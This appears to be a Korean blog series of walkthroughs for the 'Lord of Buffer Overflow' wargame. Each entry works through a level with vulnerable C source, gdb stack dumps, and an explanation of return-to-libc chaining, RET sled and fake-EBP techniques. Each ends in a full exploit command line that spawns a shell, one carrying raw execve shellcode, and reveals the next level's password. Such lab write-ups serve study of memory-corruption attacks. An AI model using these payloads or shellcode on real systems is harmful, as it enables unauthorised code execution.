Starting program: /home/zombie_assassin/succubus2 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`

(gdb) x/200x $ebp
(생략)
0xbffffbc8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbd8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbe8:	0x41414141	0x41414141	0x080487ec	0x080487bc
0xbffffbf8:	0x0804878c	0x0804875c	0x08048724	0x42424242
0xbffffc08:	0x43434343	0x6e69622f	0x0068732f	0x3d445750
0xbffffc18:	0x6d6f682f	0x6f7a2f65	0x6569626d	0x7373615f

0xbffffc0c에 "/bin/sh"가 위치하고 있다. "CCCC"는 MO 함수의 인자이자 system 함수의 인자 대신 대입한 것이다. 그리고 MO 함수 어셈블리 코드에서 ebp+8 위치의 인자를 system 함수가 받아들인다 했기에 "/bin/sh"의 주소값 0xbffffc0c를 "CCCC" 자리에 대체할 것이다.

참고로 이전까진 코드를 짜서 "/bin/sh"의 주소를 알아냈었는데 주소엔 늘 \x40이 존재했다. 이 문제에선 \x40을 strchr 함수를 통해 필터링 하고 있기에 직접 "/bin/sh"를 argv[1]의 인자에 전달해서 "/bin/sh"의 주소를 찾아서 MO 함수 인자로 전달하는 것이다.

[zombie_assassin@localhost zombie_assassin]$ ./succubus2 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x0c\xfc\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
                                                񮡩n/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)
[zombie_assassin@localhost zombie_assassin]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffffa94:	0xbffffc0c	0x6e69622f	0x0068732f	0x08048808
0xbffffaa4:	0x00000002	0xbffffac4	0x0804839c	0x0804894c
0xbffffab4:	0x4000ae60	0xbffffabc	0x40013e90	0x00000002
0xbffffac4:	0xbffffbbe	0xbffffbca	0x00000000	0xbffffc1a
0xbffffad4:	0xbffffc34	0xbffffc4c	0xbffffc6b	0xbffffc8d
buffer sfp DO GYE GUL YUT MO dummy 0xbffffc0c "/bin/sh"

위 구조에서 DO ~ MO까지 차례로 ret하고 ebp+8에 인자가 필요하기에 dummy 하나 넣고 "/bin/sh"의 주소인 0xbffffc0c를 대입 후 MO 함수 인자로 쓰기 위해 "/bin/sh" 문자열을 직접 대입한다. 왜 DO부터 MO까지 실행되는지는 RTL Chain을 안다면 쉽게 이해될 것이다.

DO 함수 실행 후 GYE가 실행되는 과정을 간단히 살펴보면 DO 함수로 ret가 발생하여 스택에서 DO 함수 주소는 제거될 것이다. DO 함수의 프롤로그 과정에서 push ebp와 mov ebp, esp가 발생 후 에필로그 과정에서 leave 명령 실행 시 push 했던 ebp가 제거되고 ret 명령 실행 시 GYE 함수 주소로 리턴된다.

payload를 전달했는데 core dumped가 발생하여 보니 주소가 바뀌어 있다. 0xbffffc0c가 아닌 0xbffffa98에 "/bin/sh"가 존재한다. 이것만 수정하자.

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x98\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB󽮢in/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ my-pass
euid = 517
here to stay

succubus의 비밀번호 here to stay

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

nightmare -> xavius  (0) 2023.02.03
succubus -> nightmare  (4) 2023.02.03
assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
728x90

assassin / pushing me away

/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48); 
	printf("%s\n", buffer);
}

문제 힌트에 FEBP가 주어져있다. FEBP란 Fake EBP를 의미한다.

fake ebp란 ebp를 변조해서 프로그램 실행 흐름을 조작하는 기법이다. 지금처럼 ret 주소뒤에 덮어쓸 수 없을 때 사용하면 된다.

main 함수에서 에필로그 과정에서 ret 명령 실행 시 leave 명령어의 주소로 다시 이동하여 에필로그 과정을 한 번 더 수행하는 방식이다. main 함수 스택의 sfp에 쉘 코드 주소의 주소 - 4를 저장한다. 리턴 주소를 leave 명령어의 주소로 설정하여 다시 에필로그 과정을 수행한다. leave 명령의 mov esp, ebp로 인해 esp엔 쉘 코드 주소의 주소 - 4가 저장된다. 그리고 pop ebp를 수행하기 때문에 esp는 4 증가한다. esp는 이제 쉘 코드 주소의 주소가 되었다. 이제 ret 명령을 실행한다. pop eip, jmp eip이기 때문에 쉘 코드 주소가 eip에 저장되고 쉘 코드 주소로 점프한다. 마침내 쉘 코드가 실행된다.

우선 buffer의 주소를 알아보자. zombie_assassin을 복사하여 gdb를 실행한다. main+139에 break point를 걸고 실행하였다.

[assassin@localhost assassin]gdb zombie_assassin2 -q
(gdb) b main
Breakpoint 1 at 0x8048446
(gdb) b *main+139
Breakpoint 2 at 0x80484cb
(gdb) r `python -c 'print "A"*4+"\x90"*36+"B"*4+"C"*4+"\x90"*100+"D"*25'`
Starting program: /home/assassin/zombie_assassin2 `python -c 'print "A"*4+"\x90"*36+"B"*4+"C"*4+"\x90"*100+"D"*25'`

(gdb) disas main
(생략)
0x80484d7 <main+151>:	call   0x8048354 <printf>
0x80484dc <main+156>:	add    $0x8,%esp
0x80484df <main+159>:	leave  
0x80484e0 <main+160>:	ret    
0x80484e1 <main+161>:	nop    

Breakpoint 1, 0x8048446 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80484cb in main ()
(gdb) x/30x $esp
0xbffffa04:	0xbffffa10	0xbffffb97	0x00000030	0x41414141
0xbffffa14:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa24:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa34:	0x90909090	0x42424242	0x43434343	0x00000002
0xbffffa44:	0xbffffa84	0xbffffa90	0x40013868	0x00000002
(생략)
(gdb) x/150x $ebp
(생략)
0xbffffba8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbb8:	0x90909090	0x42909090	0x43424242	0x90434343
0xbffffbc8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbd8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbe8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbf8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc08:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc18:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc28:	0x44909090	0x44444444	0x44444444	0x44444444
0xbffffc38:	0x44444444	0x44444444	0x44444444	0x44575000

A: 쉘 코드의 주소 (0xbffffbe8)
B: buffer의 주소-4 (0xbffffa0c)
C: ret 주소 (0x80484df)
D: 쉘 코드

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\xe8\xfb\xff\xbf"+"\x90"*36+"\x0c\xfa\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*100+"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
鼿¿ 
   ߄ 
bash$ my-pass
euid = 516
no place to hide

zombie_assassin 비밀번호 no place to hide

참고로 argv[1] 공간을 이용해서 풀었는데 buffer 공간에 쉘 코드를 저장해서 푸는 것도 가능하다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
728x90

giant / one step closer

/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

retn 주소를 stack 영역 또는 공유 라이브러리 영역으로 덮어쓰는 것을 방지하고 있다. 또한 buffer부터 sfp까지 0으로 초기화하는 것을 알 수 있다. 이번엔 RET Sled를 사용해 본다.

RET Sled란 retn 주소에 ret 명령어의 주소를 넣어서 retn 주소가 저장되는 공간의 아래 위치에 호출할 함수를 넣는 것이다.

<기존의 stack 구조>

buffer
sfp
retn 주소
argc
argv addr

<RET Sled 스택 구조>

buffer
sfp
retn 주소
(retn 명령어)
system 함수 주소
dummy
system 함수 인자
("/bin/sh")

retn 주소에 assassin 코드의 main 함수 에필로그 부분의 retn 명령어의 주소로 설정하면 다시 retn을 실행할 것이다. retn 과정은 pop eip, jmp eip이므로 결국 +4 주소에 위치한 system 함수 주소로 이동하여 system("/bin/sh")를 실행하는 것이다.

원래 dummy 자리는 다음 호출할 함수의 주소이지만 다음에 호출할 함수가 없기에 dummy를 넣는다. 또한 system 함수가 ebp+8부터 인자를 받기에 dummy가 필요하다.

retn 명령어 주소, system 함수 주소와 "/bin/sh" 주소 찾는 것은 이전 문제들에서 이미 진행했다.

<retn 명령어 주소>

0x8048515 <main+165>:	call   0x8048398 <memset>
0x804851a <main+170>:	add    $0xc,%esp
0x804851d <main+173>:	leave  
0x804851e <main+174>:	ret    
0x804851f <main+175>:	nop    
End of assembler dump.

<system 함수 주소>

(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

libc는 stand C libraries로서 다양한 기본 함수들이 존재한다. system, printf 등등 말이다. 그리고 "/bin/sh" 문자열도 존재한다. 따라서 libc에서 문자열을 찾는데 시작 주소는 system 주소로 설정한다.

<"/bin/sh" 문자열 주소>

[giant@localhost giant]$ cat getaddr.c
#include <stdio.h>
#include <string.h>
int main(){
	long sh=0x40058ae0;
	while(memcmp((void*)sh, "/bin/sh",8))
		sh++;
	printf("%p\n",sh);
}
[giant@localhost giant]$ ./getaddr
0x400fbff9
[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɀAAAA
bash$ my-pass
euid = 515
pushing me away

assassin의 비밀번호는 pushing me away

 

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26
728x90

bugbear / new divide

[bugbear@localhost bugbear]$ cat giant.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

execve함수를 반드시 실행해야 한다.

execve 함수 형태는 다음과 같다.

#include <unistd.h>

int execve(const char *pathname, char *const argv[], char *const envp[]);

pathname에 파일명을 넣고, argv에는 파일명이 저장된 배열의 주소를 넣어야 한다.

사용 방식은 다음과 같다.

#include <unistd.h>
int main(){
	char* argv[2]={"/bin/sh",NULL};
    	execve("/bin/sh",argv,NULL);
}

이 문제에선 execve 함수의 두 번째 인자인 argv에 전달할 값을 모른다. 따라서 execve 함수를 호출 후 종료하고 system 함수를 호출하며 "/bin/sh"을 전달하는 방식으로 해결할 것이다. 이전 bugbear 문제는 RTL방식이었다면 이번엔 함수를 연달아 호출하는 RTL Chain 방식이다.

일반적인 형태는 다음과 같다. (func1 인자 2개, func2의 인자가 1개라고 가정)

buffer sfp ret addr
(func1)
pop pop retn
주소
func1
param1
func1
param2
func2
주소
dummy func2 param

과정을 살펴보면 func1으로 돌아가서 push ebp부터 시작해서 leave, ret 거치면서 pop retn 명령어의 주소로 eip가 설정될 것이다. 자연스럽게 pop pop retn 명령어를 각각 수행하면 func1 param1, param2는 pop 될 것이고 func2 주소로 retn 되어 func2가 실행될 것이다. func2 다음엔 호출할 함수가 없기에 dummy가 들어간다. 원래 func 다음엔 다음에 호출할 함수 주소가 들어간다.

직접 테스트한 글이 있기에 참고하면 도움이 될 것이다.

https://kblab.tistory.com/222

https://kblab.tistory.com/218

이 문제를 풀기 위해선 다음과 같이 payload를 구성한다.

buffer sfp ret addr
(execve 함수)
retn addr
(system 함수)
dummy system 함수
param
("/bin/sh")

이제 execve 함수, system 함수, "/bin/sh"문자열의 주소를 구해보자.

[bugbear@localhost bugbear]$ gdb giant2 -q
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r aaaa
Starting program: /home/bugbear/giant2 aaaa

Breakpoint 1, 0x8048566 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p execve
$2 = {<text variable, no debug info>} 0x400a9d48 <__execve>

system 주소: 0x40058ae0

execve 주소: 0x400a9d48

[bugbear@localhost bugbear]$ cat getaddr.c
#include <stdio.h>
#include <string.h>
int main(){
	long sh=0x40058ae0;
	while(memcmp((void*)sh,"/bin/sh",8)){
		sh++;
	}
	printf("%p\n",sh);
}
[bugbear@localhost bugbear]$ gcc getaddr.c -o getaddr
[bugbear@localhost bugbear]$ ./getaddr
0x400fbff9

"/bin/sh" 주소: 0x400fbff9

payload를 완성해 보자.

[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 
@ɀAAAA
bash$ my-pass
euid = 514
one step closer

위에 만든 형식대로 주소값을 대입했다. 주의할 점은 `python ~ ` 이 아니라 "`python ~`"인 것이다. execve 주소 인자에 \x0a가 들어가는데 print로 출력하면 개행임을 알 수 있다. 따라서 "(큰 따옴표)로 앞 뒤를 묶어서 문자로 처리한다.

giant의 비밀번호는 one step closer이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26
skeleton -> golem  (0) 2023.01.25

+ Recent posts